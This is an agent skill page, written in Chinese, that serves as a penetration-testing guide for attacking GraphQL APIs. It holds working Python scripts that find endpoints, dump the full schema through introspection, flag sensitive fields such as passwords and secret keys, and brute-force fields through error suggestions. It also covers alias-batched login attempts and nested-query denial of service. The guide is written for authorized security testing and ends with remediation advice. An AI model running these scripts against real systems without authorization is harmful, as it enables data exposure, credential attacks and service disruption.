# Performing GRAPHQL Introspection Attack

> 执行 GraphQL 自省（Introspection）攻击，从 GraphQL 端点提取完整的 API Schema， 包括类型、查询（Query）、变更（Mutation）、订阅（Subscription）和字段定义。 测试人员使用自省查询绘制攻击面，识别敏感字段和变更操作，测试查询深度和复杂度限制， 并利用 GraphQL 特有漏洞，包括批量攻击、基于别名的暴力破解和嵌套查询 DoS。 适用于涉及 GraphQL 安全测试、自省攻击、GraphQL 枚举或 GraphQL API 渗透测试的请求。

- Skill: `killvxk/performing-graphql-introspection-attack` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-graphql-introspection-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-graphql-introspection-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Integrations & APIs
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-graphql-introspection-attack

---

# 执行 GraphQL 自省攻击

## 适用场景

- 测试 GraphQL 端点是否暴露了泄露完整 API Schema 的自省功能
- 绘制 GraphQL API 的攻击面，识别敏感查询、变更和类型
- 测试 GraphQL 特有漏洞，包括查询深度滥用、批量攻击和字段级别授权
- 评估在自省被禁用时，是否可通过错误消息重建 Schema 的 GraphQL 实现
- 评估通过深度嵌套或复杂 GraphQL 查询实现资源耗尽的防御措施

**请勿在未获书面授权的情况下使用**。Schema 提取和查询滥用测试可能影响服务可用性。

## 前置条件

- 指定 GraphQL 端点和测试范围的书面授权
- Burp Suite Professional 及 InQL 扩展（v6.1+），用于自动化 Schema 分析
- Python 3.10+ 及 `requests` 和 `gql` 库
- GraphQL Voyager 或 GraphQL Playground，用于 Schema 可视化
- Clairvoyance 工具，用于在自省被禁用时重建 Schema
- 用于 GraphQL 字段和类型名称暴力破解的字典文件

## 工作流程

### 步骤 1：发现 GraphQL 端点

```python
import requests
import json

TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}

# 常见 GraphQL 端点路径
GRAPHQL_PATHS = [
    "/graphql", "/graphql/", "/gql", "/query",
    "/api/graphql", "/api/gql", "/api/v1/graphql",
    "/v1/graphql", "/v2/graphql",
    "/graphql/console", "/graphql/playground",
    "/graphiql", "/altair", "/explorer",
    "/graph", "/api/graph",
]

# 探测 GraphQL 端点
for path in GRAPHQL_PATHS:
    # 使用简单的自省查询测试
    query = {"query": "{ __typename }"}
    try:
        resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL 端点：{TARGET}{path}")
            print(f"  响应：{resp.text[:200]}")
    except requests.exceptions.RequestException:
        pass

    # 也测试 GET 方法
    try:
        resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL 端点（GET）：{TARGET}{path}")
    except requests.exceptions.RequestException:
        pass
```

### 步骤 2：完整自省查询

```python
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}

# 提取完整 Schema 的全量自省查询
FULL_INTROSPECTION = {
    "query": """
    query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
    """
}

resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)

if resp.status_code == 200:
    schema = resp.json()
    if "data" in schema and "__schema" in schema["data"]:
        print("[VULNERABLE] 完整自省已启用")
        types = schema["data"]["__schema"]["types"]

        # 分类类型
        custom_types = [t for t in types if not t["name"].startswith("__")]
        queries = schema["data"]["__schema"]["queryType"]
        mutations = schema["data"]["__schema"].get("mutationType")

        print(f"\nSchema 摘要：")
        print(f"  自定义类型：{len(custom_types)}")
        print(f"  查询类型：{queries['name'] if queries else 'None'}")
        print(f"  变更类型：{mutations['name'] if mutations else 'None'}")

        # 列出所有自定义类型及其字段
        for t in custom_types:
            if t.get("fields"):
                print(f"\n  类型：{t['name']}")
                for field in t["fields"]:
                    field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
                    print(f"    - {field['name']}: {field_type}")

        # 保存 Schema 以供进一步分析
        with open("graphql_schema.json", "w") as f:
            json.dump(schema, f, indent=2, ensure_ascii=False)
        print("\nSchema 已保存到 graphql_schema.json")
    else:
        print("[SECURED] 自省已禁用或受限")
        print(f"响应：{resp.text[:500]}")
else:
    print(f"请求失败：{resp.status_code}")
```

### 步骤 3：识别 Schema 中的敏感数据

```python
# 分析提取的 Schema，查找敏感字段和类型
SENSITIVE_INDICATORS = {
    "field_names": [
        "password", "passwordHash", "secret", "token", "apiKey", "ssn",
        "socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
        "privateKey", "internalId", "salary", "bankAccount", "taxId",
        "mfaSecret", "refreshToken", "sessionId", "debugInfo"
    ],
    "type_names": [
        "Admin", "Internal", "Debug", "Secret", "Private",
        "SystemConfig", "AuditLog", "PaymentInfo", "Credential"
    ],
    "mutation_names": [
        "deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
        "createAdmin", "disableMFA", "exportData", "deleteAuditLog",
        "updateConfig", "runMigration", "executeQuery"
    ]
}

if "data" in schema:
    print("\n=== 敏感 Schema 分析 ===\n")

    for t in custom_types:
        # 检查类型名称
        for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
            if sensitive_type.lower() in t["name"].lower():
                print(f"[SENSITIVE TYPE] {t['name']}")

        # 检查字段名称
        if t.get("fields"):
            for field in t["fields"]:
                for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
                    if sensitive_field.lower() in field["name"].lower():
                        print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")

    # 检查变更名称
    if mutations:
        mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
        if mutation_type and mutation_type.get("fields"):
            for mutation in mutation_type["fields"]:
                for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
                    if sensitive_mut.lower() in mutation["name"].lower():
                        print(f"[SENSITIVE MUTATION] {mutation['name']}")
```

### 步骤 4：自省禁用时重建 Schema

```python
# 利用字段建议错误重建 Schema
def bruteforce_field(type_name, field_wordlist):
    """使用 GraphQL 错误消息发现有效字段。"""
    discovered_fields = []

    for field_name in field_wordlist:
        query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
        resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
        response_text = resp.text.lower()

        # GraphQL 通常在错误消息中提示有效字段名称
        if "did you mean" in response_text:
            # 提取建议
            import re
            suggestions = re.findall(r'"(\w+)"', resp.text)
            for s in suggestions:
                if s not in discovered_fields:
                    discovered_fields.append(s)
                    print(f"  [DISCOVERED] {type_name}.{s}（通过建议发现）")

        elif resp.status_code == 200 and "errors" not in resp.json():
            discovered_fields.append(field_name)
            print(f"  [VALID] {type_name}.{field_name}")

    return discovered_fields

# 常见 GraphQL 字段名称字典
FIELD_WORDLIST = [
    "id", "name", "email", "username", "password", "role", "token",
    "createdAt", "updatedAt", "status", "type", "description", "title",
    "firstName", "lastName", "phone", "address", "avatar", "bio",
    "isAdmin", "isActive", "permissions", "groups", "orders", "items",
    "price", "quantity", "total", "currency", "paymentMethod",
    "ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
    "apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]

# 尝试发现常见类型名称上的字段
for type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
    print(f"\n暴力枚举 '{type_name}' 上的字段：")
    fields = bruteforce_field(type_name, FIELD_WORDLIST)
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **GraphQL 自省（Introspection）** | 查询 Schema 定义的内置功能，暴露 API 中所有可用的类型、字段、查询、变更和订阅 |
| **查询深度攻击（Query Depth Attack）** | 发送深度嵌套查询导致指数级解析器执行，消耗服务器资源并可能引发 DoS |
| **基于别名的批量攻击（Alias-Based Batching）** | 使用 GraphQL 别名在单个请求中执行多个操作，绕过每请求速率限制 |
| **Schema 重建（Schema Reconstruction）** | 在自省被禁用时，通过分析错误消息和字段建议重建 GraphQL Schema |
| **字段级别授权（Field-Level Authorization）** | 根据已认证用户的角色或权限控制对 GraphQL 类型中各字段的访问 |
| **查询复杂度分析（Query Complexity Analysis）** | 在执行前计算 GraphQL 查询的计算成本，以强制执行资源限制 |

## 工具与系统

- **InQL（Burp Suite 扩展）**：自动化 GraphQL 自省、Schema 分析和攻击生成，支持 Schema 暴力破解
- **Clairvoyance**：即使自省被禁用时也能工作的 Schema 重建工具，使用基于错误的字段发现
- **GraphQL Voyager**：从自省结果生成交互式图表的可视化 Schema 探索器
- **Altair GraphQL Client**：功能丰富的 GraphQL IDE，支持认证的查询测试
- **graphql-cop**：GraphQL 安全审计工具，测试常见错误配置，包括自省、字段建议和查询限制

## 常见场景

### 场景：电商 GraphQL API 安全评估

**背景**：一个电商平台从 REST 迁移到 GraphQL。GraphQL 端点为 Web 和移动前端提供服务。自省在开发期间保持启用，但未在生产环境中禁用。

**方法**：
1. 对 `/graphql` 端点运行完整自省查询——完整 Schema 包含 45 个类型、120 个查询和 38 个变更
2. 识别敏感类型：`AdminUser`、`PaymentInfo`、`InternalConfig`、`AuditLog`
3. 发现 `User` 类型暴露 `passwordHash`、`mfaSecret` 和 `lastLoginIp` 字段
4. 找到普通用户可访问的管理员变更：`deleteUser`、`updateRole`、`exportAllOrders`
5. 测试查询深度：无限制执行，深度 50 层的嵌套查询成功执行需 45 秒
6. 测试别名批量：单个请求中 1000 次登录尝试绕过速率限制
7. 测试批量查询：接受 500 个查询的数组，无任何限制
8. Schema 揭露内部 `InternalConfig` 类型，包含 `databaseConnectionString` 和 `stripeSecretKey` 字段

## 输出格式

```
## 发现：GraphQL 自省已启用并暴露敏感 Schema

**ID**：API-GQL-001
**严重性**：高（CVSS 7.5）
**受影响端点**：POST /graphql
**使用工具**：InQL、Clairvoyance、自定义 Python 脚本

**描述**：
GraphQL 端点在生产环境中启用了自省，暴露了完整的 API Schema，
包括 45 个类型、120 个查询和 38 个变更。
Schema 揭示了敏感内部类型（AdminUser、PaymentInfo、InternalConfig），
并暴露了包含密码哈希、MFA 密钥和数据库连接字符串的字段。
未执行查询深度或复杂度限制，可通过嵌套查询实现拒绝服务。

**修复建议**：
1. 在生产环境中禁用自省
2. 使用 GraphQL 指令实现字段级别授权（@auth、@hasRole）
3. 从 Schema 中删除敏感字段或添加授权中间件限制访问
4. 实施查询深度限制（最大 10 层）和复杂度评分
5. 禁用错误消息中的字段建议以防止 Schema 重建
6. 对 GraphQL 请求按查询而非按 HTTP 请求进行速率限制
```

